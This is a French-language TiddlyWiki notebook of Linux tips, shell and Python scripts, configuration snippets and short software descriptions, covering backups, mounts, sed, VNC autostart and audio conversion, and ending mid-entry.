Astuce: ''Lancement d'un script au démarrage du système''
Mots clef: script, startup
Os: Debian Ubuntu
<<<
# S'assurer que le script est excécutable (chmod 755)
# Créer un lien vers votre script dans // /etc/init.d/ //
# Mettre à jour le "run level" grâce à la commande {{{$ update-rc.d script.sh defaults 20}}}
Voilà, le script devrait être lancé au démarrage. Pour désinstaller le script, utilisé {{{$ update-rc.d remove}}}  Pour avoir plus d'info voir: {{{$ man update-rc.d}}}
But: ''Télecharger les émissions de canal+''
Mots clef: tv, télévision, guignols
<<<
''Notes: ''Malheureusement, les scripts qui permettent le télechargement des émissions de canal+ et en particulier les Guignols de l'info doivent s'adapter aux changement fréquent effectués sur le site de canal+. Actuellement, vous trouverez [[ici|http://geekfault.be/2009/04/10/telecharger-guingols-de-l-info/]] un script efficace pour obtenir le journal des Guignols de l’Info.
But: ''Afficher un flux RSS en console ''
Mots clef: rss
<<<
''Notes: ''Utile par exemple pour une utilisation avec ConKy
''Script: ''
{{{
#!/bin/bash

#*************************************************************************#
# Permet de récupérer son adresse ip wan grâce au site checkip.dyndns.org
# Script original: RSS Feed Display Script by Hellf[i]re v0.1
# Ce script dépend de curl
# utilisation avec conky:
# conkyrc:	${execi [time] /path/to/script/conky-rss.sh}
#		    ${execi 300 /home/youruser/scripts/conky-rss.sh}
#*************************************************************************#

#************************** Declaration de variables **********************
##### a remplir #####

#URl de la source
URI=http://www.nuxo.net/rss.php	#URI of RSS Feed
#Nombre de titres à afficher
LINES=10

#adresse de curl
EXEC="/usr/bin/curl -s"

#**************************debut du script********************************

$EXEC $URI | grep title |\
sed -e :a  -e 's/<[^>]*>//g;/</N' |\
sed -e 's/[ \t]*//' |\
sed -e 's/\(.*\)/ \1/' |\
sed -e 's/\.//' |\
sed -e 's/\"//' |\
sed -e 's/\"//' |\
head -n $(($LINES + 1)) |\
tail -n $(($LINES))

#**************************fin du script**********************************
}}}
<<<
But: ''Montage via samba file system d'un répertoire windows distant''
Mots clef: samba, mount
<<<
''Notes: ''Nécessite smbfs.

''Script: ''
{{{
#!/bin/bash

#*************************************************************************#
# Montage via samba file system d'un répertoire windows distant
#prenant en compte les caractères spéciaux et accents français
#
#Prend en paramètre le répertoire à monter, qui doit être le même que celui où
#il est monté. (exemple: rép distant: //192.168.1.3/monRép rép local: /mnt/monRép
#*************************************************************************#

#**************************debut du script********************************

mount -t smbfs -o username=remotename,uid=username,iocharset=iso8859-1,codepage=cp850 //192.168.1.3/$1 /mnt/$1

#**************************fin du script**********************************
}}}
<<<
But: ''Effectuer un backup incrémental du profile de firefox grâce à RSync''
Mots clef: sauvegarde, rsync, firefox
Liens: [[Source|http://www.lalitte.com/rsync.html]]
<<<
''Notes: ''Script entiérement basé sur celui de Eric L. (voir source)

''Script:''
{{{
#!/bin/sh
 
#*************************************************************************#
# Backup incrémental du profile de firefox grâce à rsync
# Basé entierement sur le script de Eric L. 
# Lien : http://www.lalitte.com/rsync.html
#*************************************************************************#

 
# Variable representant le jour de la sauvegarde
JOUR=`date +%Y-%m-%d`
 
# On cree le repertoire du jour et un fichier timer qui nous donnera
# les heures de debut et de fin du transfert

#/mnt/data/Share/Firefox: Contient le profile de firefox
#/mnt/data/Files/Save/Mozilla/FirefoxProfile/Firefox: Contient le backup du répertoire de profile
#/mnt/data/Files/Save/Mozilla/FirefoxProfile//old_data/$JOUR: Contient les données périmées journalisées

if [ -d "/mnt/data/Files/Save/Mozilla/FirefoxProfile/old_data/$JOUR" ]
then
  echo "Le repertoire /mnt/data/Files/Save/Mozilla/FirefoxProfile/old_data/${JOUR} existe deja !";
else
  mkdir /mnt/data/Files/Save/Mozilla/FirefoxProfile/old_data/$JOUR;
fi
touch /mnt/data/Files/Save/Mozilla/FirefoxProfile/old_data/$JOUR/timer
echo "---------------------------------" >> /mnt/data/Files/Save/Mozilla/FirefoxProfile/old_data/$JOUR/timer
echo "Heure de demarrage du transfert:" >> /mnt/data/Files/Save/Mozilla/FirefoxProfile/old_data/$JOUR/timer
date >> /mnt/data/Files/Save/Mozilla/FirefoxProfile/old_data/$JOUR/timer
echo "---------------------------------" >> /mnt/data/Files/Save/Mozilla/FirefoxProfile/old_data/$JOUR/timer
 
# On lance le script rsync de transfert des fichiers, en excluant le répertoire de cache, ainsi que l'historique
rsync --exclude 'Cache/' --exclude 'history.dat' --force --ignore-errors --delete --backup --backup-dir=/mnt/data/Files/Save/Mozilla/FirefoxProfile/old_data/$JOUR -av  /mnt/data/Share/Firefox /mnt/data/Files/Save/Mozilla/FirefoxProfile/
 
# On ecrit l'heure de fin dans le timer
echo "Heure de fin du transfert:" >> /mnt/data/Files/Save/Mozilla/FirefoxProfile/old_data/$JOUR/timer
date >> /mnt/data/Files/Save/Mozilla/FirefoxProfile/old_data/$JOUR/timer
echo "---------------------------------" >> /mnt/data/Files/Save/Mozilla/FirefoxProfile/old_data/$JOUR/timer
 
# On detruit les fichiers vieux de plus de 30 jours
find /mnt/data/Files/Save/Mozilla/FirefoxProfile/old_data/ -atime +30 -exec rm -rf {} \;
}}}
<<<
But: ''Montage d'un répertoire distant via vpn tunneling, grâce à vpnc''
Mots clef: vpn, mount
<<<
''Notes: ''Nécessite VPNc ainsi que smbfs si le serveur utilise un système de fichier windows.
''Script: ''
{{{
#!/bin/bash

#*************************************************************************#
# Montage d'un répertoire distant via vpn tunneling, grâce à vpnc
#prenant en compte les caractères spéciaux et accents français
#
#Nécessite de configurer vpnc.conf en fonction du serveur distant.
#*************************************************************************#

#**************************debut du script********************************

vpnc /etc/vpnc/vpnc.conf
mount -t smbfs -o username=remoteName,workgroup=worgroupeName,iocharset=iso8859-1,codepage=cp850  //serveur.net/répDistant  /mnt/répMontage/

#**************************fin du script**********************************
}}}
<<<
<<tagging ScriptX>>
Astuce: ''Les scripts Nautilus permettent d'ajouter des fonctions à Nautilus''
Mots clef: scripts, système
Os: Linux, Gnome
<<<
De nombreux scripts sont disponibles [[ici|http://g-scripts.sourceforge.net/index.php]]

Liste de scripts:
#NisNautilus (redimensionnement d'images)
#Un script pour améliorer les images sur l'excellent [[petit blog de Cyril|http://www.atlas95.com/blog/tag/nautilus-actions/]]
''Notes: ''Voir aussi AmeliorerNautilus
''Nom de l'application'': ''@@color(red): Sed @@''
Mots clef: bash, texte
Liens: [[source| http://www.arsgeek.com/?p=891 ]]
<<<
''Description: ''Sed (abréviation de Stream Editor, « éditeur de flux ») permet d'effectuer différentes transformations à un flux de données textuelles. C'est en quelque sorte un "modificateur" de textes et de fichiers.

''Installation: ''Installer d'office en général

''Utilisation: ''
*Changer toutes les occurrences de "dapper" dans le fichier sources.list par "edgy":
{{{
$ sed -i 's/dapper/edgy/g' /etc/apt/sources.list
}}}
*Combinaison de sed et de find afin d'appliquer un "chercher/remplacer" efficace:
{{{
$ find /etc/apt/ -type f -exec sed -i 's/dapper/edgy/g' {} \;
}}}
Ce qui permettra de rechercher dans l'ensemble des fichiers (option f) du répertoire et de remplacer toutes les occurrences de "dapper" par "edgy".
*Grâce à l'option -f, d'effectuer automatiquement un backup des fichiers modifiés. Exemple:
{{{
$ find /etc/apt/ -type f -exec sed -i.bak 's/dapper/edgy/g' {} \;
}}}
*Concaténer lignes deux par deux:
{{{
$ sed -i '$!N;s/\n/ /' list.txt
}}}
*Insérer une ligne contenant //- - - -// toutes les lignes paires:
{{{
$ sed -i '1~2i- - - -' list.txt
}}}
*Eliminer les tabulations:
{{{
$ sed 's/^[\t ]*//'
}}}
*Eliminer les espaces:
{{{
$ sed 's/ //g'
}}}

Pour plus d'info: {{{man sed}}} ou {{{info sed}}}
''Nom de l'application'': ''@@color(red): Seahorse @@''
Mots clef: clef sécurité, chiffrement
<<<
''Description: ''Seahorse est un gestionnaire de clés de chiffrement (trousseaux). En fait il s'agit d'un frontend graphique pour gnome de GnuPG. Il comporte de plus un petit plugin pour Nautilus pour le chiffrement facile de fichiers.

''Installation: ''[[via apt|apt://seahorse]]

''Utilisation: ''via l'interface graphique

''Note: ''Pour gérer le chiffrement de email, voir l'extension Thunderbird [[Enigmail|https://addons.update.mozilla.org/firefox/71/]] et pour gmail l'extension [[FireGPG|http://getfiregpg.org]].
Astuce: ''Liste des plugins Firefox (2.0) que j'utilise actuellement''
Mots clef: firefox, internet, recherche
Os: Tous
Liens: [[mycroft site de plugins| http://mycroft.mozdev.org/ ]], [[sherlock-cherche|http://www.sherlock-cherche.org/]]
<<<
''Connaissance''
- Wikipedia - Français
- Wikipedia - English
- Answers.com
''Langue française''
- Atlas Sémantique Synonymes Fr
- CNRTL dictionnaire lexicographique, synonymes, étymologie 
- Acronyma-fr
- Dictionnaire Orthonet
- atilf.fr (trésor de la langue française)
''Recherche''
- Google Blog Search
- map-search.ch
- maps.google.fr
- tel.search.ch
- youtube
''Informatique''
- Linuxfr Le Jargon!
- Ubuntu Package Search
- Ubuntu-fr forum
- Debian Package Search
- Getdeb (ubuntu .deb) Package Search
- Mycroft
''Divers''
- allocine.fr
- Via Michelin - français
- LDLC
- ricardo.ch
- jamendo.com (musique libre)
- Toppreise.ch

''Note'': L'extension [[Search Words| https://addons.mozilla.org/firefox/4328]] permet d'assigner un raccourci à un plugin de recherche et d'ainsi pouvoir directement l'utiliser dans la barre d'adresse. Par exemple "wik blaise pascal" vous donnera les résultats de recherche wikipedia sur Blaise Pascal (dans ce cas directement la bonne page), si vous avez assigner le raccourci "wiki" au plugin de recherche de wikipedia.
But: ''Script python offrant la commande sed (remplacement de caractères) en mode graphique''
Mots clef: bash, python, sed
Liens: [[source| http://trific.ath.cx/Ftp//python/gsed.py ]]
<<<
''Utilisation: ''{{{$ python gsed.py}}}

''Script: '' 
{{{
#!/usr/bin/python
# A Gtk+ Search & Replace sed frontend (requires GNU sed >= 3.0).
# Written by Yeti <yeti@physics.muni.cz>
# This program is in the public domain.
import gtk, sys, os, glob, re

f = ['*']
cd = os.path.realpath(os.curdir) + '/'

def delprefix(x):
    if x.startswith(cd): return x[len(cd):]
    return x

def select_files(*args):
    global f, files
    selector = gtk.FileSelection('Select files')
    selector.set_select_multiple(True)
    selector.run()
    f = [delprefix(x) for x in selector.get_selections()]
    selector.destroy()
    files.set_text(' '.join(f))

def labentry(text, table, row):
    entry = gtk.Entry()
    table.attach(entry, 1, 2, row, row+1)
    label = gtk.Label()
    label.set_text_with_mnemonic(text)
    label.set_alignment(0, 0.5)
    label.set_mnemonic_widget(entry)
    table.attach(label, 0, 1, row, row+1)
    return entry

def chkbox(text, table, row):
    button = gtk.CheckButton(text)
    table.attach(button, 0, 2, row, row+1)
    return button

dialog = gtk.Dialog('Search & Replace', None, 0,
                    (gtk.STOCK_OK, gtk.RESPONSE_OK,
                     gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL))

dialog.set_border_width(8)
table = gtk.Table(6, 3, False)
table.set_row_spacings(4)
table.set_col_spacings(4)
dialog.vbox.pack_start(table)
dialog.vbox.set_spacing(4)
search = labentry('_Search for', table, 0)
replace = labentry('_Replace with', table, 1)
files = labentry('In _files', table, 2)
files.set_text(' '.join(f))
browse = gtk.Button('_Browse...')
table.attach(browse, 2, 3, 2, 3)
browse.connect('clicked', select_files)
recursive = chkbox('Recurse into sub_directories', table, 3)
globally = chkbox('Replace _all occurences', table, 4)
ignorecase = chkbox('_Ignore case', table, 5)
table.show_all()

response = dialog.run()
f = files.get_text().split(' ')
f = reduce(lambda x, y: x+y, [glob.glob(x) for x in f])
search = search.get_text().replace('/', '\\/')
replace = replace.get_text().replace('/', '\\/')
if (response == gtk.RESPONSE_CANCEL
    or response == gtk.RESPONSE_DELETE_EVENT
    or not f or not search):
    sys.exit(0)
recursive = recursive.get_active()
ignorecase = ('', 'i')[ignorecase.get_active()]
globally = ('', 'g')[globally.get_active()]
dialog.destroy()

ff = []
for x in f:
    if os.path.isdir(x):
        if recursive:
            p = os.popen('find ' + re.sub(r'([$`"\\])', r'\\\1', x)
                         + ' -type f', 'r')
            ff.extend([z.strip() for z in p.readlines()])
            p.close()
    else: ff.append(x)
ff = dict([(x, 1) for x in ff]).keys()
exp = 's/%s/%s/%s%s' % (search, replace, globally, ignorecase)
if ff: os.execv('/bin/sed', ['sed', '-i', '-e', exp, '--'] + ff)
}}}
 
''Nom de l'application'': ''@@color(red): sendmail @@''
Mots clef: email
<<<
''Description: ''Permet d'envoyer des emails en ligne de commande

''Installation: ''{{{apt-get install sendmail}}}

''Notes: '' exemple d'utilisation permettant d'envoyer le fichier ///etc/fstab// 
{{{$ (send)mail adresse@mail.com -s "Fichier fstab" < /etc/fstab}}}
<<<
Astuce: ''Séparer un gros fichier en plusieurs petits volumes''
Mots clef: fichier, scinder
Os: Linux
Liens: [[source| http://blog.bmaron.net/index.php?post/2007/06/10/Separer-un-gros-fichier-en-plusieurs-petits-volumes ]]
<<<
Voir aussi UltraSplitter pour un utilitaire avec gui
Articles repris de http://blog.bmaron.net/ (voir source)
*Avec rar (solution non-libre)
{{{
$ rar a -v5m monvol *.avi
}}}
rar va alors créer des volumes de nom monvol.partX.rar de 5Mo et contenant tous les ".avi" du répertoire. Le problème est que rar n'est pas un outil libre et donc pas toujours disponible dans toutes les distributions.
*Avec split
{{{
$ split -d -b 1m cd.iso arch_
}}}
qui va donc couper en fichiers de 1m mon "cd.iso" (utilisez k pour kilo-octets ,.... cf le man) auquel il apposera le préfixe "arch_" suivi d'un chiffre (le -d).
Pour reconstituer le fichier de base
{{{
$ cat arch_* > cd.iso
}}}
*Avec tar:
{{{
$ tar -c -M --tape-length=5000 -f arch1.tar cd.iso
}}}
-c pour créer une archive, {{{-M --tape-length=}}} pour une multi-archive de la taille spécifiée (ici 5mo) et "-f" pour spécifier le fichier cible. Tar vous demandera alors le nom de l'archive suivante et vous devrez lui spécifier pour chaque volume!
{{{
$ tar -c -M --tape-length=5000 -f arch1.tar cd.iso
Charger le volume #2 pour `arch1.tar' et appuyer sur ENTRÉE: n arch2.tar
Charger le volume #3 pour `arch2.tar' et appuyer sur ENTRÉE: n arch3.tar
}}}
Le "n " n'est pas là par hasard, il spécifie la création d'une nouvelle archive. Plutôt fastidieux nan?
Pour reconstituer le fichier de base, c'est exactement la même marche à suivre avec un -x au lieu du -c.
{{{
$ tar -x -M -f arch1.tar
Charger le volume #2 pour `arch1.tar' et appuyer sur ENTRÉE: n arch2.tar
Charger le volume #3 pour
`arch2.tar' et appuyer sur ENTRÉE: n arch3.tar
Charger le volume #4 pour `arch3.tar' et appuyer sur ENTRÉE: n arch4.tar
}}}
Astuce: ''Effectuer une copie d'écran en console''
Mots clef: image, console
Os: Linux
<<<
Ces Opération nécessite ImageMagick
*Effectuer une copie de tout l'écran
{{{
$ import -window root screenshot.jpg
}}}
*Effectuer une copie d'écran après un délai de 5 secondes (le fichiers peut aussi être .png ou .ps)
{{{
$ import -pause 5 -window root /chemin/vers/fichier.jpg
}}}
*Effectuer une copie d'écran d'une zone précise de l'écran ou d'une fenêtre (pour une fenêtre, simplement cliquer sur celle-ci)
{{{
$ import /chemin/vers/fichier.jpg
}}}
*Effectuer une copie d'écran d'aire 512x256 à partir du coin supérieur droit de l'écran du serveur X en format .png et à un taux de compression de 90%.
{{{
$ import -window root -crop 512x256-0+0 -quality 90 corner.png
}}}

''Note: ''pour un aperçu assez complet des copie d'écran sous gnome, voir [[ici|http://tips.webdesign10.com/how-to-take-a-screenshot-on-ubuntu-linux]].
''Nom de l'application'': ''@@color(red): Showimg @@''
Mots clef: Image
<<<
''Description: ''Logiciel de gestion de photos très semblable à GwenView

''Installation: ''{{{# aptitude install showimg}}}
Astuce: ''Arrêter le pc en ligne de commande''
Mots clef: système, arrêt, console
Os: Linux
<<<
Pour redémarrer la machine:
{{{
$ sudo reboot
}}}
Pour arrêter l'ordinateur immédiatement:
{{{
$ sudo shutdown -h now
}}}
La commande -h signifie //halt//. On peut le remplacer par -H pour forcer l'arrêt.
Maintenant, si l'on veut repousser l'arrêt d'une minute:
{{{
$ sudo shutdown -h +1
}}}
Et dans 5 minutes en laissant un message:
{{{
$ sudo shutdown -h +5 Le système s'arrêtera dans 5 minutes
}}}
Et pour annuler l'arrêt:
{{{
$ sudo shutdown -c
}}}
Pour connaître l'heure du dernier boot
{{{
$ who -b
}}}
''Note: ''voir aussi KShutDown pour une interface graphique offrant beaucoup d'options d'arrêt.
<<newTiddler>><<newTiddler label:"new prog" accessKey:1 focus:tags text:"''Nom de l'application'': ''@@color(red): nomdelappli @@''
Mots clef: 
Liens: [[ text | url ]]
<<<
''Description: ''

''Installation: ''[[via apt|apt://nomdelappli]]

''Utilisation: ''

''Notes: ''" tag:ProgX>><<newTiddler label:"new tips" accessKey:1 focus:tags text:"Astuce: '' ''
Mots clef: 
Os:
Liens: [[ text | url ]]
<<<
Notes" tag:TipX>><<newTiddler label:"new script" accessKey:1 focus:tags text:"But: '' ''
Mots clef: 
Liens: [[ text | url ]]
<<<
''Notes: ''

''Utilisation: ''

''Script: '' 
{{{

 " tag:ScriptX>>
<<saveChanges>><<slider chkSliderOptionsPanel OptionsPanel 'options »' 'Change TiddlyWiki advanced options'>>
<<tabs txtMainTab Timeline Timeline TabTimeline All 'All tiddlers' TabAll Tags 'All tags' TabTags More 'More lists' TabMore Ajouter 'liste à ajouter' TabAjouter>>
Astuce: ''Configuration du Nokia 95 pour le provider sipcall.ch''
Mots clef: voip, téléphone
Liens: [[source| http://free.hicon.ch/NokiaN95/SipcallSettings ]]
<<<
{{{
                SipcallSettings
Profile name
      Whatever you want
Service profile
     IETF
Default access point
     Your WLAN access point
Public user name
     sip:4132xxxxxxx@sipcall.ch
Use compression
     No
Registration
     Always on
Use security
     No

               Proxy Server
Proxy server address
     sip:212.117.200.148
Realm
     212.117.200.148
User name
     4132xxxxxxx
Password
     ****
Allow loose routing
     Yes
Transport type
     UDP
Port
     5060

               Registrar server
Registrar server address
     sip:sip.sipcall.ch
Realm
     sipcall.ch
User name
     4132xxxxxxx
Password
     ****
Transport type
     UDP
Port
     5060
}}}
aide mémoire, programmes, liens et astuces
[<img[tux|tux.png][http://www.bartux.net/wiki/TuxKillWin.png]] Carnet de bord GNU/Linux 
http://www.bartux.net/wiki/index.html
''Nom de l'application'': ''@@color(red): Skype Call Recorder @@''
Mots clef: skype, voip
Liens: [[site officiel|http://atdot.ch/scr/ ]]
<<<
''Description: ''Skype Call Recorder permet l'enregistrement de conversations effectuées avec le logiciel Skype. Logiciel sous licence GPL, contrairement au logiciel Skype lui-même.

''Installation: ''Paquet .deb disponible sur le [[site officiel|http://atdot.ch/scr/ ]].

''Utilisation: ''Le logiciel, une fois lancé, se place dans la zone de notification.
Astuce: ''Slax Howto x11vnc and startx-autostart with Popcorn 5.0.8 & xfce ''
Mots clef: OS, slax howto
Os: Slax
Petit howto que j'ai écris en anglais: [[Slax howto|http://slax.linux-live.org/forum/viewtopic.php?t=10046]]
<<<
I have got an old pc that I wanted to use as a file-downloader and music server. After having tested Slax, I found it to be the perfect solution: light, fast boot, configurable...

As I do not want this computer to have any mouse, keyboard, monitor or harddisk, I needed a complete automatic and remote controlled solution. I decided to use the Slax Popcorn edition (with xfce instead of KDE) burned on a ~CD-RW.

It was not so easy for me to configure everything, and I had to go through many posts to find what I wanted. That is why I decided to post this little how-to (thanks to the people who I took information from, in this forum and on the internet).

So what I wanted was:

- To have a static ip address (even if I have a router with dhcp)
- For security reasons: to change the root password and create a new user: myUserName
- To have x11vnc to autostart in xfce:
- To have xfce to autostart as myUserName at boot:

*Having a static ip address:
I have a dhcp server, but I still want the same ip address to be given to my computer.

This code (with the right addresses instead of xyz.xyz.xyz.xyz) needs to be added at the end of /etc/rc.d/rc.inet1 file and then to be saved in the /rootcopy/etc/rc.d folder, on the cd-rw.
{{{
ifconfig eth0 xxx.xxx.xxx.xxx netmask 255.255.255.000
route add default gateway yyy.yyy.yyy.yyy
echo "nameserver zzz.zzz.zzz.zzz" >> /etc/resolv.conf
}}}

*Changing root password and adding a user:
{{{
$ passwd
}}}
Enter the new password two times

*Add a new user:
{{{
$ adduser
}}}
Enter the new user name and information (I chose the default settings) and finally the new user’s password.
Save the changes in a module that I called newuser.mo on (for example) a memory stick:
{{{
$ mount –a
$ configsave /mnt/sda_removable/newuser.mo
}}}
This new module has to be added in the modules folder of the cd-rw.

*Installation and auto start of x11vnc:
The module x11vnc_0_7_2.mo (which can be found in the module section of this very website) has to be added in the modules folder of the cd-rw.
We will log on with the new created user and startx to launch xfce. We then create a password file for x11vnc. In a terminal:
{{{
$ x11vnc -storepasswd 'myVNCPasswordHere' /home/myUserName/.vncpasswd
}}}

*Autostart of x11vnc in xfce:
According to xfce information: //All programs, or symbolic links to programs, in ~/Desktop/Autostart/ will be run by startxfce4 on startup
(where ~ is your home folder, for exemple /home/myUserName/Desktop)//
So we will create the ~/Desktop and ~/Desktop/Autostart folders
{{{
$ mkdir ~/Desktop
$ mkdir ~/Desktop/Autostart
}}}
Optional: We can now add a link to a specific application (here for example if you want firefox to autostart) in our new folder and give the specific rights to that link:
{{{
$ which firefox > ~/Desktop/Autostart/firefox
$ chmod 755 ~/Desktop/Autostart/firefox
}}}
We will then create a script which will allow x11vnc to start as soon as xfce is being load.
Create the file:
{{{
$ touch home/myUserName/Desktop/Autostart/vnc.sh
}}}
Edit it and add the following lines:
{{{
#!/bin/bash
x11vnc -rfbauth /home/myUserName/.vncpasswd –forever
}}}
The –forever option allow you to log on several times with vnc, otherwise it will close automatically at the end of the first vnc-session.

We will then give the right permissions to the script:
{{{
$ chmod +x /home/myUserName/Desktop/Autostart/vnc.sh
}}}

And finally we will save the changes in a module call x11start.mo on (for exemple) our memory stick.
As root:
{{{
$ mount –a
$ configsave /mnt/sda_removable/vncautostart.mo
}}}
This new module has to be added in the modules folder of the cd-rw.

*Autostart of xfce as myUserName at boot:
We will add the following line in rc.local that we will save in the /rootcopy/etc/rc.d folder, on the cd-rw.
{{{
su - myUserName -c 'PATH=/usr/X11R6/bin:$PATH startx' & 
}}}
<<<
''Nom de l'application'': ''@@color(red): Slingshot @@''
Mots clef: jeu, gravité, tir
Liens: [[site officiel| http://sourceforge.net/projects/slingshot-game/]]
<<<
''Description: ''Slingshot est un jeu de tir en 2D. Il s'agit d'utiliser la gravité des planètes alentours pour atteindre votre ennemis grâce aux tirs de votre vaisseau spatial.

''Installation: ''[[via apt|apt://slingshot]]
''Nom de l'application'': ''@@color(red): Sox @@''
Mots clef: wav, audio, conversion
Liens: [[site officiel|http://sox.sourceforge.net/ ]]
<<<
''Description: ''Sox permet la conversion d'une multitude de format vers le format wav.

''Installation: ''{{{# aptitude install sox}}}

''Utilisation: ''Pour la conversion, c'est facile, par exemple
{{{
$ sox fichier.ogg fichier.wav
}}}
''Notes: ''Utile pour ensuite convertir en .mp3 ou .ogg
''Nom de l'application'': ''@@color(red): Solfege @@''
Mots clef: solfege, musique
Liens: [[site officiel|http://www.solfege.org/]]
<<<
''Description: ''Logiciel d'apprentissage du solfège (semble un peu compliqué). Non testé.

''Installation: ''[[via apt|apt://solfege]]
''Nom de l'application'': ''@@color(red): Soundconverter @@''
Mots clef: conversion, wma, mp3, ogg, audio
<<<
''Description: ''Un outil très simple et pratique pour la conversion audio en mode graphique (en particulier pour les méchants .wma)

''Installation: ''{{{# aptitude install soundconverter}}}

''Notes: ''
#Pour convertir un .wav en .mp3, simplement {{{$ lame fichier.wav fichier.mp3}}}
#voir aussi SoundKonverter, GnormaliZe, XcFa et ConversionWMAmp3OGGwav pour les .wma
''Nom de l'application'': ''@@color(red): Sound Juicer @@''
Mots clef: cd, encodage, mp3, player, ripper
Liens: [[site officiel| http://burtonini.com/blog/computers/sound-juicer ]]
<<<
''Description: ''Sound Juicer est l'application GNOME par défaut permettant d'encoder des CD en différents formats (.mp3, .ogg, .flac). Il permet également de récupérer les informations nécessaires à la création des tags sur Internet.

''Installation: ''[[via apt|apt://sound-juicer]]

''Utilisation: ''L'interface utilisateur est très claire.

''Notes: ''pour l'encodage mp3, le paquet lame est nécessaire. Voir aussi GriP.
''Nom de l'application'': ''@@color(red): Soundkonverter @@''
Mots clef: conversion, audio, mp3, ogg, audio
Liens: [[site kde-apps| http://www.kde-apps.org/content/show.php/soundKonverter?content=29024 ]]
<<<
''Description: ''Un outil simple et puissant qui rajoute l'option "convertir avec soundkonverter" après un clic droit sur un fichier audio.

''Installation: ''{{{# aptitude install soundkonverter

''Notes: ''voir aussi SoundConverter, GnormaliZe, XcFa et ConversionWMAmp3OGGwav pour les .wma
Astuce: ''Permet de faire fonctionner le défilement avec touche+boule''
Mots clef: souris, xorg
Os: Linux
Liens: [[source| https://help.ubuntu.com/community/Logitech_Marblemouse_USB ]]
<<<
À partir de Ubuntu 10.04, il suffit d'ajouter la section suivante dans le fichier ///etc/X11/xorg.conf//
{{{
Section "InputClass"
        Identifier  "Marble Mouse"
        MatchProduct "Logitech USB Trackball"
        MatchIsPointer "on"
        MatchDevicePath "/dev/input/event*"
        Driver "evdev"
        Option "ButtonMapping" "1 2 3 4 5 6 7 8 9"
        Option "EmulateWheel" "true"
        Option "EmulateWheelButton" "8"
        Option "ZAxisMapping" "4 5"
        Option  "XAxisMapping" "6 7"
        Option  "Emulate3Buttons" "true"
EndSection
}}}
/***
|''Name:''|SparklinePlugin|
|''Description:''|Sparklines macro|
***/
//{{{
if(!version.extensions.SparklinePlugin) {
version.extensions.SparklinePlugin = {installed:true};

//--
//-- Sparklines
//--

config.macros.sparkline = {};
config.macros.sparkline.handler = function(place,macroName,params)
{
	var data = [];
	var min = 0;
	var max = 0;
	var v;
	for(var t=0; t<params.length; t++) {
		v = parseInt(params[t]);
		if(v < min)
			min = v;
		if(v > max)
			max = v;
		data.push(v);
	}
	if(data.length < 1)
		return;
	var box = createTiddlyElement(place,"span",null,"sparkline",String.fromCharCode(160));
	box.title = data.join(",");
	var w = box.offsetWidth;
	var h = box.offsetHeight;
	box.style.paddingRight = (data.length * 2 - w) + "px";
	box.style.position = "relative";
	for(var d=0; d<data.length; d++) {
		var tick = document.createElement("img");
		tick.border = 0;
		tick.className = "sparktick";
		tick.style.position = "absolute";
		tick.src = "data:image/gif,GIF89a%01%00%01%00%91%FF%00%FF%FF%FF%00%00%00%C0%C0%C0%00%00%00!%F9%04%01%00%00%02%00%2C%00%00%00%00%01%00%01%00%40%02%02T%01%00%3B";
		tick.style.left = d*2 + "px";
		tick.style.width = "2px";
		v = Math.floor(((data[d] - min)/(max-min)) * h);
		tick.style.top = (h-v) + "px";
		tick.style.height = v + "px";
		box.appendChild(tick);
	}
};


}
//}}}
/***

''Inspired by [[TiddlyPom|http://www.warwick.ac.uk/~tuspam/tiddlypom.html]]''

|Name|SplashScreenPlugin|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/#SplashScreenPlugin|
|Version|0.21 |
|Requires|~TW2.08+|
!Description:
Provides a simple splash screen that is visible while the TW is loading.

!Installation
Copy the source text of this tiddler to your TW in a new tiddler, tag it with systemConfig and save and reload. The SplashScreen will now be installed and will be visible the next time you reload your TW.

!Customizing
Once the SplashScreen has been installed and you have reloaded your TW, the splash screen html will be present in the MarkupPreHead tiddler. You can edit it and customize to your needs.

!History
* 20-07-06 : version 0.21, modified to hide contentWrapper while SplashScreen is displayed.
* 26-06-06 : version 0.2, first release

!Code
***/
//{{{
var old_lewcid_splash_restart=restart;

restart = function()
{   if (document.getElementById("SplashScreen"))
        document.getElementById("SplashScreen").style.display = "none";
      if (document.getElementById("contentWrapper"))
        document.getElementById("contentWrapper").style.display = "block";
    
    old_lewcid_splash_restart();
   
    if (splashScreenInstall)
       {if(config.options.chkAutoSave)
			{saveChanges();}
        displayMessage("TW SplashScreen has been installed, please save and refresh your TW.");
        }
}


var oldText = store.getTiddlerText("MarkupPreHead");
if (oldText.indexOf("SplashScreen")==-1)
   {var siteTitle = store.getTiddlerText("SiteTitle");
   var splasher='\n\n<style type="text/css">#contentWrapper {display:none;}</style><div id="SplashScreen" style="border: 3px solid #ccc; display: block; text-align: center; width: 320px; margin: 100px auto; padding: 50px; color:#000; font-size: 28px; font-family:Tahoma; background-color:#eee;"><b>'+siteTitle +'</b> is loading<blink> ...</blink><br><br><span style="font-size: 14px; color:red;">Requires Javascript.</span></div>';
   if (! store.tiddlerExists("MarkupPreHead"))
       {var myTiddler = store.createTiddler("MarkupPreHead");}
   else
      {var myTiddler = store.getTiddler("MarkupPreHead");}
      myTiddler.set(myTiddler.title,oldText+splasher,config.options.txtUserName,null,null);
      store.setDirty(true);
      var splashScreenInstall = true;
}
//}}}
Astuce: ''Lancer une application graphique sur une machine distante via ssh''
Mots clef: ssh, réseau
Os: Linux
Liens: [[source| http://linuxfr.org/forums/9/13256.html ]], [[Export Display|http://docs.mandragor.org/files/Operating_systems/Linux/Formation_Debian_Gnu_Linux_fr/export-display.html]]
<<<
*Pour ouvrir une application de la machine distante sur la machine locale:
{{{
$  ssh -X user@laMachine
}}}
*Pour ouvrir une application X sur l'écran de la machine distante
Après s'être connecté sur une machine distance grâce à ssh ({{{$ ssh user@laMachine}}}), on ne peut pas lancer d'application graphique. Pour remédier à cela, il faut faire un //export display// et ensuite l'on pourra lancer les applications X:
{{{
$ export DISPLAY=:0.0
}}}
''Nom de l'application'': ''@@color(red): Startupmanager @@''
Mots clef: usplash, grub, démarrage 
Liens: [[ text | url ]]
<<<
''Description: ''Logiciel d'administration pour Ubuntu permettant de personnaliser grub sans devoir éditer le ficher ///boot/grub/menu.lst//. Il permet de choisir le système lancé par défaut, le temps avant ce lancement, la résolution de grub et également de choisir le usplash du démarrage.

''Installation: ''[[via apt|apt://startupmanager]]

''Utilisation: ''lancement avec {{{# startupmanager}}}

''Notes: ''Pour réstaurer le usplash, voir aussi RestaurerUsplashUbuntu
''Nom de l'application'': ''@@color(red): Steghide @@''
